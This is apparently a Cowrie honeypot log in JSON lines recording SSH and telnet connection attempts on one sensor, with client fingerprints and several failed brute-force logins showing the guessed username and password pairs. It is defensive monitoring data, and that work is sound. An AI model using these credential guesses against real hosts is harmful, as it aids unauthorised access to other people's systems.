\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:52.705978Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:53.118230Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28616,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e28714d8ab2","protocol":"ssh","message":"New connection: 91.92.40.36:28616 (159.203.135.109:22) [session: 7e28714d8ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:53.387899Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd23ff8d2d4","protocol":"telnet","message":"New connection: 128.199.8.54:48360 (159.203.135.109:23) [session: ebd23ff8d2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:53.736177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:54.146823Z","src_ip":"91.92.40.36","session":"7e28714d8ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:55.105596Z","src_ip":"91.92.40.36","session":"7e28714d8ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"321","message":"login attempt [dspace/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:00.138645Z","src_ip":"91.92.40.36","session":"7e28714d8ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40294,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f9c78e0b3d","protocol":"telnet","message":"New connection: 172.81.62.90:40294 (159.203.135.109:23) [session: 65f9c78e0b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:00.671230Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16398,"dst_ip":"159.203.135.109","dst_port":22,"session":"3adbc05361a9","protocol":"ssh","message":"New connection: 91.92.40.36:16398 (159.203.135.109:22) [session: 3adbc05361a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:00.905424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:01.559218Z","src_ip":"91.92.40.36","session":"3adbc05361a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40310,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be8f6b6109a","protocol":"telnet","message":"New connection: 172.81.62.90:40310 (159.203.135.109:23) [session: 0be8f6b6109a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:01.703132Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51410,"dst_ip":"159.203.135.109","dst_port":23,"session":"17bb189f671c","protocol":"telnet","message":"New connection: 172.81.62.90:51410 (159.203.135.109:23) [session: 17bb189f671c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:02.368593Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:02.390265Z","src_ip":"91.92.40.36","session":"3adbc05361a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:02.813118Z","src_ip":"91.92.40.36","session":"7e28714d8ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55760,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd3c2cb88ec5","protocol":"telnet","message":"New connection: 128.199.8.54:55760 (159.203.135.109:23) [session: cd3c2cb88ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:03.742719Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60226,"dst_ip":"159.203.135.109","dst_port":22,"session":"68e8783f448f","protocol":"ssh","message":"New connection: 91.92.40.36:60226 (159.203.135.109:22) [session: 68e8783f448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:07.188711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:07.702864Z","src_ip":"91.92.40.36","session":"68e8783f448f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:07.708188Z","src_ip":"91.92.40.36","session":"68e8783f448f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nicollette","password":"nicollette","message":"login attempt [nicollette/nicollette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:08.080743Z","src_ip":"91.92.40.36","session":"3adbc05361a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev","message":"login attempt [ubuntu/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:09.461416Z","src_ip":"91.92.40.36","session":"68e8783f448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:09.875798Z","src_ip":"91.92.40.36","session":"3adbc05361a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:11.178387Z","src_ip":"91.92.40.36","session":"68e8783f448f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41292,"dst_ip":"159.203.135.109","dst_port":23,"session":"759438d97bfb","protocol":"telnet","message":"New connection: 172.81.62.90:41292 (159.203.135.109:23) [session: 759438d97bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:14.228327Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60262,"dst_ip":"159.203.135.109","dst_port":22,"session":"472362588f1f","protocol":"ssh","message":"New connection: 91.92.40.36:60262 (159.203.135.109:22) [session: 472362588f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:15.964779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:16.457639Z","src_ip":"91.92.40.36","session":"472362588f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:17.262048Z","src_ip":"91.92.40.36","session":"472362588f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37724,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94c3b7f4291","protocol":"ssh","message":"New connection: 91.92.40.36:37724 (159.203.135.109:22) [session: d94c3b7f4291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:22.123854Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1111111","message":"login attempt [ubuntu/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:22.695467Z","src_ip":"91.92.40.36","session":"472362588f1f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:22.786511Z","src_ip":"91.92.40.36","session":"d94c3b7f4291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:22.789679Z","src_ip":"91.92.40.36","session":"d94c3b7f4291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:25.016563Z","src_ip":"91.92.40.36","session":"472362588f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico","message":"login attempt [federico/federico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:25.921949Z","src_ip":"91.92.40.36","session":"d94c3b7f4291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:27.509456Z","src_ip":"91.92.40.36","session":"d94c3b7f4291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.458330392837524,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:30.194388Z","src_ip":"128.199.8.54","session":"ebd23ff8d2d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65086,"dst_ip":"159.203.135.109","dst_port":22,"session":"e760416e62dc","protocol":"ssh","message":"New connection: 91.92.40.36:65086 (159.203.135.109:22) [session: e760416e62dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:30.646569Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"74070eadd298","protocol":"ssh","message":"New connection: 62.133.62.83:58910 (10.17.0.5:22) [session: 74070eadd298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:30.795228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:30.806715Z","src_ip":"62.133.62.83","session":"74070eadd298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:30.888766Z","src_ip":"62.133.62.83","session":"74070eadd298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kashmir","message":"login attempt [root/kashmir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:31.132724Z","src_ip":"62.133.62.83","session":"74070eadd298","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:31.263121Z","src_ip":"91.92.40.36","session":"e760416e62dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:32.047374Z","src_ip":"91.92.40.36","session":"e760416e62dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:32.228794Z","src_ip":"62.133.62.83","session":"74070eadd298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":63557,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4ec195a6cf","protocol":"ssh","message":"New connection: 23.175.50.51:63557 (10.17.0.5:22) [session: 5c4ec195a6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:33.850708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:33.855022Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-gr